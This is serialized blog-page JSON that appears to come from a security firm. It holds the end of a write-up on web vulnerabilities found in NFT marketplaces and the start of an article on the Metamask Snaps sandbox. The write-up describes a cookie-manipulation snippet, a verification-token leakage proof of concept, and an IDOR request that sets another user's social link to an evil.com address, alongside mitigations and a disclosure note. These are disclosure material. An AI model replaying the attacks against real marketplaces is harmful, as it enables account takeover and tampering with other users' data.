",{"type":24,"tag":271,"props":42367,"children":42368},{"style":630},[42369],{"type":29,"value":11462},{"type":24,"tag":271,"props":42371,"children":42372},{"style":624},[42373],{"type":29,"value":42365},{"type":24,"tag":271,"props":42375,"children":42376},{"style":378},[42377],{"type":29,"value":42378},"'='",{"type":24,"tag":271,"props":42380,"children":42381},{"style":624},[42382],{"type":29,"value":42365},{"type":24,"tag":271,"props":42384,"children":42385},{"style":630},[42386],{"type":29,"value":42387},"Set_Cookie",{"type":24,"tag":271,"props":42389,"children":42390},{"style":624},[42391],{"type":29,"value":42365},{"type":24,"tag":271,"props":42393,"children":42394},{"style":378},[42395],{"type":29,"value":42396},"';Domain='",{"type":24,"tag":271,"props":42398,"children":42399},{"style":624},[42400],{"type":29,"value":42365},{"type":24,"tag":271,"props":42402,"children":42403},{"style":630},[42404],{"type":29,"value":42405},"Take_Domain",{"type":24,"tag":271,"props":42407,"children":42408},{"style":624},[42409],{"type":29,"value":1069},{"type":24,"tag":271,"props":42411,"children":42412},{"class":273,"line":374},[42413],{"type":24,"tag":271,"props":42414,"children":42415},{"style":278},[42416],{"type":29,"value":2378},{"type":24,"tag":271,"props":42418,"children":42419},{"class":273,"line":384},[42420,42424,42428],{"type":24,"tag":271,"props":42421,"children":42422},{"style":40046},[42423],{"type":29,"value":42036},{"type":24,"tag":271,"props":42425,"children":42426},{"style":278},[42427],{"type":29,"value":40086},{"type":24,"tag":271,"props":42429,"children":42430},{"style":40046},[42431],{"type":29,"value":13709},{"type":24,"tag":271,"props":42433,"children":42434},{"class":273,"line":393},[42435,42439,42443],{"type":24,"tag":271,"props":42436,"children":42437},{"style":40046},[42438],{"type":29,"value":42052},{"type":24,"tag":271,"props":42440,"children":42441},{"style":278},[42442],{"type":29,"value":41942},{"type":24,"tag":271,"props":42444,"children":42445},{"style":40046},[42446],{"type":29,"value":13709},{"type":24,"tag":25,"props":42448,"children":42449},{},[42450],{"type":29,"value":42451},"As a result, we're able to prevent the user from loading images.",{"type":24,"tag":62,"props":42453,"children":42455},{"id":42454},"authentication",[42456],{"type":29,"value":42457},"Authentication",{"type":24,"tag":25,"props":42459,"children":42460},{},[42461],{"type":24,"tag":10648,"props":42462,"children":42463},{},[42464,42466,42473],{"type":29,"value":42465},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":24,"tag":32,"props":42467,"children":42470},{"href":42468,"rel":42469},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[36],[42471],{"type":29,"value":42472},"great misfortune has occured",{"type":29,"value":41},{"type":24,"tag":85,"props":42475,"children":42477},{"id":42476},"verification-token-leakage",[42478],{"type":29,"value":42479},"Verification Token Leakage",{"type":24,"tag":25,"props":42481,"children":42482},{},[42483],{"type":29,"value":42484},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":24,"tag":25,"props":42486,"children":42487},{},[42488],{"type":29,"value":42489},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":24,"tag":25,"props":42491,"children":42492},{},[42493,42498],{"type":24,"tag":10648,"props":42494,"children":42495},{},[42496],{"type":29,"value":42497},"Proof of Concept",{"type":29,"value":42499},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":24,"tag":25,"props":42501,"children":42502},{},[42503],{"type":29,"value":42504},"Here's the breakdown.",{"type":24,"tag":25,"props":42506,"children":42507},{},[42508],{"type":29,"value":42509},"First, we send the verification link to a user's email:",{"type":24,"tag":39021,"props":42511,"children":42512},{"style":39023},[42513],{"type":24,"tag":74,"props":42514,"children":42518},{"src":42515,"alt":42516,"style":42517},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":24,"tag":25,"props":42520,"children":42521},{},[42522],{"type":29,"value":42523},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":24,"tag":85,"props":42525,"children":42527},{"id":42526},"idor",[42528],{"type":29,"value":42529},"IDOR",{"type":24,"tag":25,"props":42531,"children":42532},{},[42533],{"type":24,"tag":10648,"props":42534,"children":42535},{},[42536,42538,42545],{"type":29,"value":42537},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":24,"tag":32,"props":42539,"children":42542},{"href":42540,"rel":42541},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[36],[42543],{"type":29,"value":42544},"insect",{"type":29,"value":41},{"type":24,"tag":25,"props":42547,"children":42548},{},[42549,42551,42557],{"type":29,"value":42550},"During a security assessment of the ",{"type":24,"tag":32,"props":42552,"children":42555},{"href":42553,"rel":42554},"https://rocki.com",[36],[42556],{"type":29,"value":38959},{"type":29,"value":42558},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":24,"tag":25,"props":42560,"children":42561},{},[42562],{"type":29,"value":42563},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":24,"tag":25,"props":42565,"children":42566},{},[42567],{"type":29,"value":42568},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":24,"tag":25,"props":42570,"children":42571},{},[42572,42574,42580,42582,42587],{"type":29,"value":42573},"Here is an example of a request that modifies another user's social media link to ",{"type":24,"tag":135,"props":42575,"children":42577},{"className":42576},[],[42578],{"type":29,"value":42579},"https://evil.com/",{"type":29,"value":42581},". To achieve this, we simply changed the ",{"type":24,"tag":135,"props":42583,"children":42585},{"className":42584},[],[42586],{"type":29,"value":11212},{"type":29,"value":42588}," field value to one that belongs to another user:",{"type":24,"tag":25,"props":42590,"children":42591},{},[42592],{"type":24,"tag":74,"props":42593,"children":42595},{"alt":7,"src":42594},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":24,"tag":25,"props":42597,"children":42598},{},[42599],{"type":29,"value":42600},"The following screenshot is the response to our request:",{"type":24,"tag":25,"props":42602,"children":42603},{},[42604],{"type":24,"tag":74,"props":42605,"children":42607},{"alt":7,"src":42606},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":24,"tag":62,"props":42609,"children":42611},{"id":42610},"preventative-action-steps-for-marketplaces",[42612],{"type":24,"tag":213,"props":42613,"children":42614},{},[42615],{"type":29,"value":42616},"Preventative Action Steps for Marketplaces",{"type":24,"tag":25,"props":42618,"children":42619},{},[42620],{"type":29,"value":42621},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":24,"tag":25,"props":42623,"children":42624},{},[42625,42627,42633,42635,42641],{"type":29,"value":42626},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":24,"tag":135,"props":42628,"children":42630},{"className":42629},[],[42631],{"type":29,"value":42632},"innerText",{"type":29,"value":42634}," instead of ",{"type":24,"tag":135,"props":42636,"children":42638},{"className":42637},[],[42639],{"type":29,"value":42640},"innerHTML",{"type":29,"value":42642}," in client-side:",{"type":24,"tag":261,"props":42644,"children":42646},{"className":39038,"code":42645,"language":39040,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[42647],{"type":24,"tag":135,"props":42648,"children":42649},{"__ignoreMap":7},[42650],{"type":24,"tag":271,"props":42651,"children":42652},{"class":273,"line":274},[42653,42657,42661,42666,42670,42675,42679,42683,42687,42692],{"type":24,"tag":271,"props":42654,"children":42655},{"style":630},[42656],{"type":29,"value":40378},{"type":24,"tag":271,"props":42658,"children":42659},{"style":288},[42660],{"type":29,"value":41},{"type":24,"tag":271,"props":42662,"children":42663},{"style":598},[42664],{"type":29,"value":42665},"getElementById",{"type":24,"tag":271,"props":42667,"children":42668},{"style":288},[42669],{"type":29,"value":606},{"type":24,"tag":271,"props":42671,"children":42672},{"style":378},[42673],{"type":29,"value":42674},"'nftCollectionName'",{"type":24,"tag":271,"props":42676,"children":42677},{"style":288},[42678],{"type":29,"value":28429},{"type":24,"tag":271,"props":42680,"children":42681},{"style":630},[42682],{"type":29,"value":42632},{"type":24,"tag":271,"props":42684,"children":42685},{"style":624},[42686],{"type":29,"value":1712},{"type":24,"tag":271,"props":42688,"children":42689},{"style":630},[42690],{"type":29,"value":42691}," nftCollectionName",{"type":24,"tag":271,"props":42693,"children":42694},{"style":288},[42695],{"type":29,"value":1069},{"type":24,"tag":25,"props":42697,"children":42698},{},[42699],{"type":29,"value":42700},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":24,"tag":261,"props":42702,"children":42704},{"className":39038,"code":42703,"language":39040,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[42705],{"type":24,"tag":135,"props":42706,"children":42707},{"__ignoreMap":7},[42708],{"type":24,"tag":271,"props":42709,"children":42710},{"class":273,"line":274},[42711,42716,42721,42725,42730,42734,42739,42743,42748],{"type":24,"tag":271,"props":42712,"children":42713},{"style":278},[42714],{"type":29,"value":42715},"var",{"type":24,"tag":271,"props":42717,"children":42718},{"style":630},[42719],{"type":29,"value":42720}," sanitizedInput",{"type":24,"tag":271,"props":42722,"children":42723},{"style":624},[42724],{"type":29,"value":1712},{"type":24,"tag":271,"props":42726,"children":42727},{"style":630},[42728],{"type":29,"value":42729}," DOMPurify",{"type":24,"tag":271,"props":42731,"children":42732},{"style":288},[42733],{"type":29,"value":41},{"type":24,"tag":271,"props":42735,"children":42736},{"style":598},[42737],{"type":29,"value":42738},"sanitize",{"type":24,"tag":271,"props":42740,"children":42741},{"style":288},[42742],{"type":29,"value":606},{"type":24,"tag":271,"props":42744,"children":42745},{"style":630},[42746],{"type":29,"value":42747},"userInput",{"type":24,"tag":271,"props":42749,"children":42750},{"style":288},[42751],{"type":29,"value":1155},{"type":24,"tag":25,"props":42753,"children":42754},{},[42755,42757,42764],{"type":29,"value":42756},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":24,"tag":32,"props":42758,"children":42761},{"href":42759,"rel":42760},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[36],[42762],{"type":29,"value":42763},"Content-Security-Policy",{"type":29,"value":42765}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":24,"tag":25,"props":42767,"children":42768},{},[42769],{"type":29,"value":42770},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":24,"tag":25,"props":42772,"children":42773},{},[42774,42776,42783],{"type":29,"value":42775},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":24,"tag":32,"props":42777,"children":42780},{"href":42778,"rel":42779},"https://www.techtarget.com/whatis/definition/whitelist",[36],[42781],{"type":29,"value":42782},"allow-list",{"type":29,"value":42784}," :",{"type":24,"tag":261,"props":42786,"children":42788},{"className":39038,"code":42787,"language":39040,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n throw new ApolloError('invalid domain');\n}\n",[42789],{"type":24,"tag":135,"props":42790,"children":42791},{"__ignoreMap":7},[42792,42821,42862,42892],{"type":24,"tag":271,"props":42793,"children":42794},{"class":273,"line":274},[42795,42799,42804,42808,42812,42817],{"type":24,"tag":271,"props":42796,"children":42797},{"style":278},[42798],{"type":29,"value":611},{"type":24,"tag":271,"props":42800,"children":42801},{"style":630},[42802],{"type":29,"value":42803}," allowDomains",{"type":24,"tag":271,"props":42805,"children":42806},{"style":624},[42807],{"type":29,"value":1712},{"type":24,"tag":271,"props":42809,"children":42810},{"style":288},[42811],{"type":29,"value":30718},{"type":24,"tag":271,"props":42813,"children":42814},{"style":378},[42815],{"type":29,"value":42816},"'https://allowed-domain'",{"type":24,"tag":271,"props":42818,"children":42819},{"style":288},[42820],{"type":29,"value":4865},{"type":24,"tag":271,"props":42822,"children":42823},{"class":273,"line":284},[42824,42828,42832,42836,42841,42845,42850,42854,42858],{"type":24,"tag":271,"props":42825,"children":42826},{"style":749},[42827],{"type":29,"value":23277},{"type":24,"tag":271,"props":42829,"children":42830},{"style":288},[42831],{"type":29,"value":1357},{"type":24,"tag":271,"props":42833,"children":42834},{"style":624},[42835],{"type":29,"value":1818},{"type":24,"tag":271,"props":42837,"children":42838},{"style":630},[42839],{"type":29,"value":42840},"allowDomains",{"type":24,"tag":271,"props":42842,"children":42843},{"style":288},[42844],{"type":29,"value":41},{"type":24,"tag":271,"props":42846,"children":42847},{"style":598},[42848],{"type":29,"value":42849},"includes",{"type":24,"tag":271,"props":42851,"children":42852},{"style":288},[42853],{"type":29,"value":606},{"type":24,"tag":271,"props":42855,"children":42856},{"style":630},[42857],{"type":29,"value":40388},{"type":24,"tag":271,"props":42859,"children":42860},{"style":288},[42861],{"type":29,"value":2317},{"type":24,"tag":271,"props":42863,"children":42864},{"class":273,"line":294},[42865,42870,42874,42879,42883,42888],{"type":24,"tag":271,"props":42866,"children":42867},{"style":749},[42868],{"type":29,"value":42869}," throw",{"type":24,"tag":271,"props":42871,"children":42872},{"style":278},[42873],{"type":29,"value":39603},{"type":24,"tag":271,"props":42875,"children":42876},{"style":598},[42877],{"type":29,"value":42878}," ApolloError",{"type":24,"tag":271,"props":42880,"children":42881},{"style":288},[42882],{"type":29,"value":606},{"type":24,"tag":271,"props":42884,"children":42885},{"style":378},[42886],{"type":29,"value":42887},"'invalid domain'",{"type":24,"tag":271,"props":42889,"children":42890},{"style":288},[42891],{"type":29,"value":1155},{"type":24,"tag":271,"props":42893,"children":42894},{"class":273,"line":303},[42895],{"type":24,"tag":271,"props":42896,"children":42897},{"style":288},[42898],{"type":29,"value":1171},{"type":24,"tag":25,"props":42900,"children":42901},{},[42902,42904,42911,42913,42920],{"type":29,"value":42903},"As ",{"type":24,"tag":32,"props":42905,"children":42908},{"href":42906,"rel":42907},"https://graphql.org/",[36],[42909],{"type":29,"value":42910},"GraphQl",{"type":29,"value":42912}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":24,"tag":32,"props":42914,"children":42917},{"href":42915,"rel":42916},"https://graphql.org/learn/introspection/",[36],[42918],{"type":29,"value":42919},"introspection",{"type":29,"value":42921}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":24,"tag":261,"props":42923,"children":42925},{"className":39038,"code":42924,"language":39040,"meta":7,"style":7},"const server = new ApolloServer({\n typeDefs,\n resolvers,\n introspection: false,\n});\n",[42926],{"type":24,"tag":135,"props":42927,"children":42928},{"__ignoreMap":7},[42929,42958,42970,42982,42998],{"type":24,"tag":271,"props":42930,"children":42931},{"class":273,"line":274},[42932,42936,42941,42945,42949,42954],{"type":24,"tag":271,"props":42933,"children":42934},{"style":278},[42935],{"type":29,"value":611},{"type":24,"tag":271,"props":42937,"children":42938},{"style":630},[42939],{"type":29,"value":42940}," server",{"type":24,"tag":271,"props":42942,"children":42943},{"style":624},[42944],{"type":29,"value":1712},{"type":24,"tag":271,"props":42946,"children":42947},{"style":278},[42948],{"type":29,"value":39603},{"type":24,"tag":271,"props":42950,"children":42951},{"style":598},[42952],{"type":29,"value":42953}," ApolloServer",{"type":24,"tag":271,"props":42955,"children":42956},{"style":288},[42957],{"type":29,"value":22837},{"type":24,"tag":271,"props":42959,"children":42960},{"class":273,"line":284},[42961,42966],{"type":24,"tag":271,"props":42962,"children":42963},{"style":630},[42964],{"type":29,"value":42965}," typeDefs",{"type":24,"tag":271,"props":42967,"children":42968},{"style":288},[42969],{"type":29,"value":638},{"type":24,"tag":271,"props":42971,"children":42972},{"class":273,"line":294},[42973,42978],{"type":24,"tag":271,"props":42974,"children":42975},{"style":630},[42976],{"type":29,"value":42977}," resolvers",{"type":24,"tag":271,"props":42979,"children":42980},{"style":288},[42981],{"type":29,"value":638},{"type":24,"tag":271,"props":42983,"children":42984},{"class":273,"line":303},[42985,42990,42994],{"type":24,"tag":271,"props":42986,"children":42987},{"style":630},[42988],{"type":29,"value":42989}," introspection:",{"type":24,"tag":271,"props":42991,"children":42992},{"style":278},[42993],{"type":29,"value":1877},{"type":24,"tag":271,"props":42995,"children":42996},{"style":288},[42997],{"type":29,"value":638},{"type":24,"tag":271,"props":42999,"children":43000},{"class":273,"line":312},[43001],{"type":24,"tag":271,"props":43002,"children":43003},{"style":288},[43004],{"type":29,"value":43005},"});\n",{"type":24,"tag":25,"props":43007,"children":43008},{},[43009,43011,43018,43020,43027],{"type":29,"value":43010},"Similarly, when ",{"type":24,"tag":32,"props":43012,"children":43015},{"href":43013,"rel":43014},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[36],[43016],{"type":29,"value":43017},"batching",{"type":29,"value":43019}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":24,"tag":32,"props":43021,"children":43024},{"href":43022,"rel":43023},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[36],[43025],{"type":29,"value":43026},"denial-of-service",{"type":29,"value":43028}," (DoS) attacks.",{"type":24,"tag":25,"props":43030,"children":43031},{},[43032],{"type":29,"value":43033},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":24,"tag":25,"props":43035,"children":43036},{},[43037],{"type":29,"value":43038},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":24,"tag":43040,"props":43041,"children":43042},"h1",{"id":10547},[43043],{"type":29,"value":10550},{"type":24,"tag":25,"props":43045,"children":43046},{},[43047],{"type":29,"value":43048},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":24,"tag":25,"props":43050,"children":43051},{},[43052],{"type":29,"value":43053},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":24,"tag":62,"props":43055,"children":43057},{"id":43056},"disclaimer",[43058],{"type":29,"value":43059},"Disclaimer",{"type":24,"tag":25,"props":43061,"children":43062},{},[43063],{"type":29,"value":43064},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":24,"tag":10562,"props":43066,"children":43067},{},[43068],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":43070},[43071,43074,43080,43084,43085],{"id":36692,"depth":284,"text":36695,"children":43072},[43073],{"id":10655,"depth":294,"text":10658},{"id":38882,"depth":284,"text":38912,"children":43075},[43076,43077,43078,43079],{"id":38931,"depth":294,"text":38934},{"id":38996,"depth":294,"text":38999},{"id":41820,"depth":294,"text":41823},{"id":42110,"depth":294,"text":42113},{"id":42454,"depth":284,"text":42457,"children":43081},[43082,43083],{"id":42476,"depth":294,"text":42479},{"id":42526,"depth":294,"text":42529},{"id":42610,"depth":284,"text":42616},{"id":43056,"depth":284,"text":43059},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":43090,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":43091,"description":43092,"author":43093,"image":43094,"date":43096,"isFeatured":16,"onBlogPage":16,"body":43097,"_type":10599,"_id":48110,"_source":10601,"_file":48111,"_stem":48112,"_extension":10604},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[38876,38875],{"src":43095,"height":21323,"width":21324},"/posts/metamask-snaps/header.png","2023-11-01",{"type":21,"children":43098,"toc":48091},[43099,43103,43108,43113,43118,43124,43129,43135,43148,43153,43158,43165,43197,43203,43208,43226,43233,43239,43253,43259,43279,43543,43571,43577,43596,43982,44001,44014,44332,44353,44624,44629,44635,44640,44653,44658,44671,44930,44974,44987,44993,45007,45013,45019,45032,45069,45075,45095,45206,45233,45239,45257,45270,45276,45281,45299,45410,45415,45436,45449,45466,45566,45592,45609,45731,45757,45769,45774,45780,45786,45791,45814,45819,45824,45830,45836,45863,46266,46293,46320,46326,46357,46666,46685,46690,46715,46728,46734,46761,47055,47091,47109,47114,47149,47154,47158,47163,47170,47175,47202,47979,47999,48005,48026,48073,48077,48082,48087],{"type":24,"tag":62,"props":43100,"children":43101},{"id":26648},[43102],{"type":29,"value":26651},{"type":24,"tag":25,"props":43104,"children":43105},{},[43106],{"type":29,"value":43107},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":24,"tag":25,"props":43109,"children":43110},{},[43111],{"type":29,"value":43112},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":24,"tag":25,"props":43114,"children":43115},{},[43116],{"type":29,"value":43117},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":24,"tag":62,"props":43119,"children":43121},{"id":43120},"sandbox-security",[43122],{"type":29,"value":43123},"Sandbox Security",{"type":24,"tag":25,"props":43125,"children":43126},{},[43127],{"type":29,"value":43128},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":24,"tag":85,"props":43130,"children":43132},{"id":43131},"permission-based-security",[43133],{"type":29,"value":43134},"Permission-based security",{"type":24,"tag":25,"props":43136,"children":43137},{},[43138,43140,43146],{"type":29,"value":43139},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":24,"tag":135,"props":43141,"children":43143},{"className":43142},[],[43144],{"type":29,"value":43145},"snap.manifest.json",{"type":29,"value":43147}," file and can be critical to security.",{"type":24,"tag":25,"props":43149,"children":43150},{},[43151],{"type":29,"value":43152},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":24,"tag":25,"props":43154,"children":43155},{},[43156],{"type":29,"value":43157},"Here are the critical permissions possible to be given to a snap:",{"type":24,"tag":25,"props":43159,"children":43160},{},[43161],{"type":24,"tag":74,"props":43162,"children":43164},{"alt":7,"src":43163},"/posts/metamask-snaps/permissions.png",[],{"type":24,"tag":97,"props":43166,"children":43167},{},[43168,43186],{"type":24,"tag":101,"props":43169,"children":43170},{},[43171,43177,43178,43184],{"type":24,"tag":135,"props":43172,"children":43174},{"className":43173},[],[43175],{"type":29,"value":43176},"snap_getBip44Entropy",{"type":29,"value":518},{"type":24,"tag":135,"props":43179,"children":43181},{"className":43180},[],[43182],{"type":29,"value":43183},"snap_getBip32Entropy",{"type":29,"value":43185}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":24,"tag":101,"props":43187,"children":43188},{},[43189,43195],{"type":24,"tag":135,"props":43190,"children":43192},{"className":43191},[],[43193],{"type":29,"value":43194},"endowment:transaction-insight",{"type":29,"value":43196}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":24,"tag":85,"props":43198,"children":43200},{"id":43199},"snap-execution-environment",[43201],{"type":29,"value":43202},"Snap execution environment",{"type":24,"tag":25,"props":43204,"children":43205},{},[43206],{"type":29,"value":43207},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":24,"tag":3834,"props":43209,"children":43210},{},[43211,43216,43221],{"type":24,"tag":101,"props":43212,"children":43213},{},[43214],{"type":29,"value":43215},"An isolated iframe",{"type":24,"tag":101,"props":43217,"children":43218},{},[43219],{"type":29,"value":43220},"LavaMoat",{"type":24,"tag":101,"props":43222,"children":43223},{},[43224],{"type":29,"value":43225},"SES (Secure EcmaScript)",{"type":24,"tag":25,"props":43227,"children":43228},{},[43229],{"type":24,"tag":74,"props":43230,"children":43232},{"alt":7,"src":43231},"/posts/metamask-snaps/environment.png",[],{"type":24,"tag":85,"props":43234,"children":43236},{"id":43235},"isolated-iframe-layer-1",[43237],{"type":29,"value":43238},"Isolated Iframe - Layer 1",{"type":24,"tag":25,"props":43240,"children":43241},{},[43242,43244,43251],{"type":29,"value":43243},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":24,"tag":32,"props":43245,"children":43248},{"href":43246,"rel":43247},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[36],[43249],{"type":29,"value":43250},"Iframe",{"type":29,"value":43252}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":24,"tag":26585,"props":43254,"children":43256},{"id":43255},"the-framework-metamask-extension-repo",[43257],{"type":29,"value":43258},"The Framework: Metamask-Extension Repo",{"type":24,"tag":25,"props":43260,"children":43261},{},[43262,43264,43270,43272,43278],{"type":29,"value":43263},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":24,"tag":135,"props":43265,"children":43267},{"className":43266},[],[43268],{"type":29,"value":43269},"metamask-controller.js",{"type":29,"value":43271}," file. Here's a glimpse of the relevant ",{"type":24,"tag":32,"props":43273,"children":43276},{"href":43274,"rel":43275},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[36],[43277],{"type":29,"value":135},{"type":29,"value":12210},{"type":24,"tag":261,"props":43280,"children":43284},{"className":43281,"code":43282,"language":43283,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n messenger: this.controllerMessenger.getRestricted({\n name: 'ExecutionService',\n }),\n setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n 'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[43285],{"type":24,"tag":135,"props":43286,"children":43287},{"__ignoreMap":7},[43288,43296,43304,43324,43372,43407,43424,43432,43474,43481,43488,43496,43524,43536],{"type":24,"tag":271,"props":43289,"children":43290},{"class":273,"line":274},[43291],{"type":24,"tag":271,"props":43292,"children":43293},{"style":2058},[43294],{"type":29,"value":43295},"// Import snaps-controllers\n",{"type":24,"tag":271,"props":43297,"children":43298},{"class":273,"line":284},[43299],{"type":24,"tag":271,"props":43300,"children":43301},{"style":2058},[43302],{"type":29,"value":43303},"// ...\n",{"type":24,"tag":271,"props":43305,"children":43306},{"class":273,"line":294},[43307,43311,43316,43320],{"type":24,"tag":271,"props":43308,"children":43309},{"style":278},[43310],{"type":29,"value":611},{"type":24,"tag":271,"props":43312,"children":43313},{"style":630},[43314],{"type":29,"value":43315}," snapExecutionServiceArgs",{"type":24,"tag":271,"props":43317,"children":43318},{"style":624},[43319],{"type":29,"value":1712},{"type":24,"tag":271,"props":43321,"children":43322},{"style":288},[43323],{"type":29,"value":7145},{"type":24,"tag":271,"props":43325,"children":43326},{"class":273,"line":303},[43327,43332,43336,43341,43345,43350,43354,43359,43363,43368],{"type":24,"tag":271,"props":43328,"children":43329},{"style":630},[43330],{"type":29,"value":43331}," iframeUrl:",{"type":24,"tag":271,"props":43333,"children":43334},{"style":278},[43335],{"type":29,"value":39603},{"type":24,"tag":271,"props":43337,"children":43338},{"style":598},[43339],{"type":29,"value":43340}," 